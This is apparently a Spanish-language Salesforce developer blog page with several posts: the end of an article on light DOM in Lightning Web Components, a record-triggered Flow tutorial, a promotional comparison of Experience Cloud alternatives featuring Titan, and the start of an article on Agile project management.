Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador estándar, aplicar estilos globales o necesita más flexibilidad para implementar las mejores prácticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con más profundidad en la siguiente sección.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulación de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideración.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de análisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
«>

mascotChanger.js

Tenga en cuenta que, aunque el párrafo consultado pertenece al componente helloCodey , podemos acceder a él con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habría devuelto null .

También puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso estático en la página, siempre y cuando todos los componentes ancestros estén habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso estático de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementación más sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar útil es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un único componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementación facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarquía y también la implementación de la accesibilidad. Además, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM también facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la página. La inyección de estilos globales a través de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
«>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicará a los párrafos de todas las instancias del componente helloCodey en la página, ya que está habilitado para DOM claro.

En la mayoría de los casos, no querrás que tu estilo se filtre a otros componentes. Eso todavía es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance está escrito exactamente igual que el CSS normal, pero solo se aplicará a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos estáticos en una página de Lightning Experience o un sitio de Experience Cloud, se les quitará el alcance y se aplicarán tanto a los componentes DOM claros como también a los componentes DOM de sombra, ya que la sombra sintética no evitará que se filtren. Esta es una limitación que se solucionará una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa está habilitada, solo los componentes habilitados para DOM claro heredarán los estilos globales.

4) Implementación más flexible de las mejores prácticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores prácticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

«>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

«>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

«>

Tenga en cuenta que Salesforce está trabajando actualmente con el W3C para agregar nuevos estándares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no será necesario. Como parte de nuestros esfuerzos de accesibilidad, también patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber más sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y dónde se admiten.

Experiencia en la nube Experiencia relámpago Aplicaciones móviles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes.
Implementación más sencilla de componentes profundamente anidados
Estilo global No No
Implementación más flexible de las mejores prácticas de accesibilidad

*Si se utiliza DOM de sombra nativo en lugar de sombra sintética . La sombra nativa es la opción predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea más en la guía para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no están disponibles en ellos. Eche un vistazo a la documentación para saber más.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusión

En esta publicación de blog, revisamos qué es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qué componentes habilitarán la función. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar tú mismo.

Para obtener más información sobre DOM ligero en la plataforma Salesforce, lea la documentación o, si está trabajando fuera de la plataforma, lea la documentación OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migración.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Automatización y Flow

Escenario de flujo de activación de registro: enviar notificación por correo electrónico al objeto principal en función de los cambios con el objeto secundario

Escenario de activación de registro 2

Su organización administra cuentas, contactos y oportunidades para operaciones de ventas. Desea automatizar el proceso de notificación al propietario de la cuenta cuando el campo personalizado 'Cambio de estado' de un contacto cambia a 'Inactivo'. Además, desea actualizar la 'Etapa de oportunidad' de todas las oportunidades relacionadas a 'En espera' cuando cambie el estado de este contacto. Explique cómo diseñaría un Flujo para lograr esto.

Respuesta

Centrémonos en el patrón para resolver este escenario de modo que podamos resolver preguntas de flujo de manera efectiva.

1. Comprenda el requisito:

– Punto de activación: cuando el 'Cambio de estado' de un contacto cambia a 'Inactivo'.

– Resultado: Automatizar la notificación al propietario de la cuenta y actualizar las etapas de la oportunidad.

2. Desglosarlo:

– Recuperación de datos: Identificar la Cuenta del Contacto y las Oportunidades relacionadas.

– Notificaciones: envía una notificación al propietario de la cuenta.

– Actualización: actualice las etapas de la oportunidad según el cambio de estado del contacto.

3. Visualice el flujo:

– Secuencia:

– Iniciar el flujo cuando el 'Estado' de un contacto cambie a 'Inactivo'.

– Recuperar la cuenta del contacto y las oportunidades relacionadas.

– Enviar una notificación al propietario de la cuenta.

– Actualizar la 'Etapa de Oportunidad' en Oportunidades relacionadas.

4. Diseñe el flujo:

– Elementos:

– “Registrar flujo activado” para iniciar el cambio de estado de flujo en contacto. Seleccionaremos cuándo se actualiza el registro, ya que el flujo debe ejecutarse cuando el campo 'cambio de estado' del contacto se cambia a inactivo.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

– El “Elemento de decisión” comprueba si el campo de estado del caso está activo o no

Una captura de pantalla de una computadora Descripción generada automáticamente

– Elemento “Obtener registros” para recuperar la cuenta del contacto. Para este filtro se debe buscar la cuenta que tenga el mismo ID que el ID de cuenta del contacto.

Una captura de pantalla de una computadora Descripción generada automáticamente

– Enviar notificación por correo electrónico al propietario de la cuenta.

Escribe el correo electrónico. A la hora de redactar el contenido de tu correo electrónico, tienes tres opciones disponibles:

Opción 1:
a partir del lanzamiento Summer '23 de Salesforce, puede utilizar plantillas de correo electrónico con la acción Enviar correo electrónico. Puede hacer esto activando el ID de plantilla de correo electrónico e ingresando el ID de la plantilla de correo electrónico que desea usar. Para encontrar esta ID, navegue hasta su plantilla de correo electrónico desde las Plantillas de correo electrónico Lightning en sus aplicaciones o la página Plantilla de correo electrónico clásica en la configuración. Luego copie la cadena de 15 caracteres de la URL y péguela en su flujo como ID de plantilla de correo electrónico.

Imagen que resalta la cadena de 15 caracteres en la URL de la página Plantilla de correo electrónico de una plantilla de correo electrónico de muestra.

Opción 2: almacena el cuerpo de tu correo electrónico en una plantilla de texto . Para hacer esto, active el interruptor Cuerpo . A continuación, seleccione Nuevo recurso en el menú y elija Plantilla de texto . Asigne a la plantilla un nombre API y escriba el cuerpo de su correo electrónico . Puede ingresar recursos personalizados desde el menú encima del cuadro de texto. De esta manera, puedes incluir tanto texto estático como información personalizada para el cliente potencial. Una vez que su plantilla esté completa, haga clic en Listo . Una captura de pantalla de una computadora Descripción generada automáticamente

  1. Ahora que tenemos escrito el contenido de nuestro correo electrónico, es momento de determinar a quién va dirigido. Active la lista de destinatarios e ingrese {!$Record.Email}. Ahora, la dirección de correo electrónico vinculada al objeto Cliente potencial se convertirá automáticamente en el destinatario.
  2. Otra característica nueva de la versión Summer '23 de Salesforce es la capacidad de registrar correos electrónicos enviados con la acción Enviar correo electrónico. Esto significa que puede actualizar registros automáticamente cuando se envía un correo electrónico, de modo que tenga un cronograma claro de comunicación almacenado directamente dentro del registro del objeto. Para hacer esto, active la opción Registrar correo electrónico al enviar y establezca el valor en {!$GlobalConstant.True} .
  3. Cambie la ID del destinatario a Activado e ingrese {!$Record.Id} Ahora, el registro del destinatario se actualizará automáticamente para mostrar cuándo fueron contactados, qué decía el correo electrónico e incluso cuándo lo abrieron.

Una captura de pantalla de la pantalla de una computadora Descripción generada automáticamente

A continuación, active Cuerpo con formato de texto enriquecido. En el menú desplegable, seleccione {!$GlobalConstant.True}. Esto garantiza que el formato de nuestro correo electrónico siga siendo consistente.

Imagen que muestra la Lista de direcciones de destinatarios activada con el cuadro de texto que muestra {!$Record.Email} y la opción Cuerpo con formato de texto enriquecido activada con el cuadro de texto que muestra {!$GlobalConstant.True}

Por último, cambie el valor de Asunto a Activado y escriba su asunto en el cuadro. Puede omitir este paso si está utilizando una ID de plantilla de correo electrónico.

Un objeto rectangular blanco con líneas negras. Descripción generada automáticamente.

– Elemento “Actualizar Registros” para actualizar Etapas de Oportunidad.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

5. Escenario de prueba:

– Cambie el 'Cambio de estado' de un contacto a 'Inactivo' y verifique que el flujo notifique correctamente al propietario de la cuenta y actualice las Etapas de la oportunidad a 'En espera'.

Producción

Una captura de pantalla de una computadora Descripción generada automáticamente

100% Me gusta VS
0% No me gusta
Categorías
Plataforma Salesforce

Guía definitiva de 150 preguntas sobre Salesforce Service Cloud: ¡domine cada detalle!

Temas cubiertos en la entrevista de Salesforce Service Cloud: Conocimientos generales y características Gestión de casos Soluciones y base de conocimientos Consola de servicio Portales/comunidades de clientes y agentes Flujo de trabajo y automatización: Informes y paneles en Service Cloud Integración de CTI y telefonía Servicio al cliente en redes sociales Chat y mensajería Integración […]

Categorías
Desarrollo en Salesforce

Las Mejores Alternativas a Salesforce Experience Cloud

Última actualización el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cuáles son las mejores alternativas a Experience Cloud del mercado? ¿Y es posible encontrar una herramienta sin código que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Después de leer este blog, tendrás:

  • Comprensión de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducción a Titan Web, con una explicación de cómo esta herramienta de código cero puede brindarle la libertad de crear cualquier aplicación web o portal que desee.

El director de ventas Eric Brown se acercó a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo están muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar nóminas y cuidar el bienestar de los empleados. ¡Asegurarse de que todo el papeleo y la administración estén actualizados es una pérdida de hasta 12 horas cada semana! Está empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificación ni conocimientos técnicos especiales para su implementación. Saben que Salesforce Experience Cloud es una posible solución, pero también les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, ¿cuáles son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en línea de marca. A lo largo de los años, Salesforce Experience Cloud evolucionó con actualizaciones y mejoras. Hoy en día, sirve como una solución integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creación de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presión de su departamento de recursos humanos. Un portal de autoservicio o una aplicación web creada con Experience Cloud proporciona a los empleados acceso directo a su información personal y profesional, lo que facilita la actualización de información y registros en cualquier momento o lugar.

Echemos un vistazo más de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organización.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementación
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a través de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia técnica especial ni conocimientos de codificación.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ningún trabajo de integración adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estarían familiarizados.
  • Puedes crear páginas públicas y privadas. La ventaja de esto es que sólo los usuarios con los permisos de acceso adecuados podrán visitar espacios específicos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M rápido y lo más probable es que pueda crear su portal o sitio en uno o dos días.
  • También tiene la opción de diseñar su portal o sitio web de la manera que desee utilizando imágenes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos móviles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el diseño de su página para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edición en línea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de cámaras del usuario al hacer clic en él, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta solución, prepárese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y móvil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el botón “Guardar”.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso específicos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuación. Crédito: https://www.salesforce.com/products/experience-cloud/features/templates/

¿Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opción le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, así como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con múltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no esté limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear diseños dinámicos para cualquier dispositivo, por ejemplo, portátil o móvil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. ¡Si puedes soñarlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el código fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sueños sin barreras, restricciones ni compromisos. Pero este método no está exento de desventajas. Vea a continuación algunos de los principales puntos débiles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia técnica: desarrollar un portal o una aplicación web requiere habilidades y recursos técnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicación o un portal web puede ser un proceso que requiere mucho tiempo y una inversión significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podría afectar negativamente a sus objetivos comerciales.
  • Rápidos avances tecnológicos: el panorama tecnológico evoluciona continuamente y periódicamente surgen nuevas características, marcos y plataformas. Desarrollar una aplicación web o un portal internamente requiere mantenerse actualizado con las últimas tecnologías y mejores prácticas.
  • Desafíos de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicación web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • Básicamente, dependerá de los recursos de desarrollo y se verá paralizado cuando desee realizar actualizaciones simples. ¡No suena divertido!
  • Problemas de integración: desarrollar una aplicación web o un portal internamente puede plantear conflictos de integración con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicación o un portal seguro implica implementar medidas de seguridad sólidas y garantizar el cumplimiento de las normas de protección de datos.
  • Centrarse en las competencias básicas: las organizaciones deben evaluar si el desarrollo de una aplicación o portal se alinea con sus competencias básicas y prioridades estratégicas.
  • ¡Dinero dinero dinero! Esta es definitivamente tu opción más cara, así que prepárate para acumular una factura.

¡Haciéndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho más. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin código con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: ¿cómo se compara Titan con Experience Cloud? ¿Tiene también ventaja sobre el desarrollo personalizado? A continuación, detallamos cómo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Titán:

  • Plataforma de código cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integración bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercialización
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organización.
  • El enfoque móvil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean fáciles de implementar
  • Genere documentos y fírmelos desde su aplicación o portal
  • Capacidades sin conexión para que pueda utilizar esta herramienta incluso cuando esté fuera del alcance de Internet
  • Compatible con múltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gestión de versiones
  • Rentable en comparación con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporación puede variar entre 4 y 20 horas, según la complejidad de su caso de uso.
  • Ocasionalmente, para una lógica o un diseño de diseño muy complejos, una organización necesitará agregar código JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web está limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola línea de código. Sin concesiones ni agendas ocultas para que pueda acelerar su comercialización.

Comparación de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, ¿cuál es el resultado final y quién sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuación para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Titán
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de diseño Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas soñar. Casi todo lo que puedas soñar
Marca Sí con temas personalizados Sí con temas personalizados
Integración de Salesforce Requiere desarrollo por integración.
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo
Validaciones de datos en tiempo real No
Flujo de trabajo y automatización No
Móvil Listo para dispositivos móviles Diseño completamente dinámico por dispositivo Diseño completamente dinámico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sueños. Pero está claro que si está buscando una herramienta web sin código, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opción.

Quizás recuerde que anteriormente en este artículo una empresa estaba buscando una solución flexible y sin código para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesión en el portal:
  • Reciben una autenticación de dos factores enviada a su correo electrónico para que puedan iniciar sesión en el portal sin administrar ninguna otra contraseña.
  • Las páginas web y los portales se muestran dinámicamente según la autenticación del usuario, proporcionando una experiencia de usuario dinámica con cada clic.
  • Todo está construido sólo con herramientas de arrastrar y soltar. No es necesaria ninguna codificación, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un fácil acceso a información personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado dinámico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quería reservar sus días de vacaciones, tenía que completar un formulario de licencia manual, escanearlo y enviarlo por correo electrónico a Recursos Humanos para su aprobación. Ahora simplemente hacen clic en la pestaña de días de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos móviles, computadoras portátiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la nómina y pueden presentar las solicitudes para recibir el pago antes de la fecha límite de nómina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas rápidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (¡incluida la nómina!) y los empleados están más comprometidos.
  • La empresa logró hacer todo esto dentro del presupuesto y en un tiempo récord, sin tener que implementar ningún código ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicación o portal personalizado resolverá la mayoría de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicación que puedas soñar y obtener diseños dinámicos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos débiles de Experience Cloud, esta solución presenta sus propios desafíos, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercialización más lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!

Evaluación formativa

¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.

Categorías
Plataforma Salesforce

Uso de Agile en proyectos de Salesforce – Inspire Planner

Los enfoques tradicionales de gestión de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicación, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Según diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinación interfuncional se citó a menudo como el factor de riesgo más importante para el fracaso del proyecto CRM. Imagine la frustración de invertir tiempo y recursos en un proyecto de Salesforce sólo para verlo descarrilado por estrategias de gestión inflexibles.

La metodología Agile ofrece una salida. En comparación, sólo el 9% de los proyectos ágiles terminan en fracaso. Diseñado para la adaptabilidad y la colaboración, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a través del enfoque iterativo.

En este artículo, descubrirá cómo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodología de gestión de proyectos en cascada versus ágil: descripción general rápida

Waterfall es una metodología tradicional de gestión de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodología Waterfall avanzan a través de fases predefinidas, desde la recopilación de requisitos hasta la implementación del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gestión de proyectos en cascada de Inspire Planner en SalesforceGestión de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodología Agile es un enfoque colaborativo para la gestión de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteración rápida. En lugar de una progresión lineal, los proyectos se dividen en tareas pequeñas y manejables llamadas "sprints" o "iteraciones", que son períodos cortos con un límite de tiempo.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Si diferentes equipos de su organización utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con éxito ambas metodologías, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener éxito. La metodología ágil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega más rápida que los métodos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y dinámicos, mientras que la mayoría de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% más rápido y un 16% más productivo que el modelo de desarrollo de proyectos convencional.
  • Participación del cliente: Agile enfatiza la colaboración y la comunicación abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentación periódica después de cada sprint. Esta participación continua garantiza que el producto se desarrolle según sus expectativas, lo que reduce las posibilidades de sorpresas de último momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obstáculos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su énfasis en la planificación y las revisiones periódicas, facilita la estimación de cronogramas y presupuestos. Cada sprint tiene una duración y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones rápidamente y con una fuente de alta previsibilidad.

Cómo Agile en Salesforce mejora la gestión de proyectos

El verdadero potencial de Salesforce sólo puede desbloquearse si se combina con un enfoque de gestión de proyectos adaptativo. Así es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentación: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentación suele ser una ocurrencia tardía. Agile en Salesforce permite adaptaciones rápidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints más pequeños y manejables. Según una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptación y eficacia.
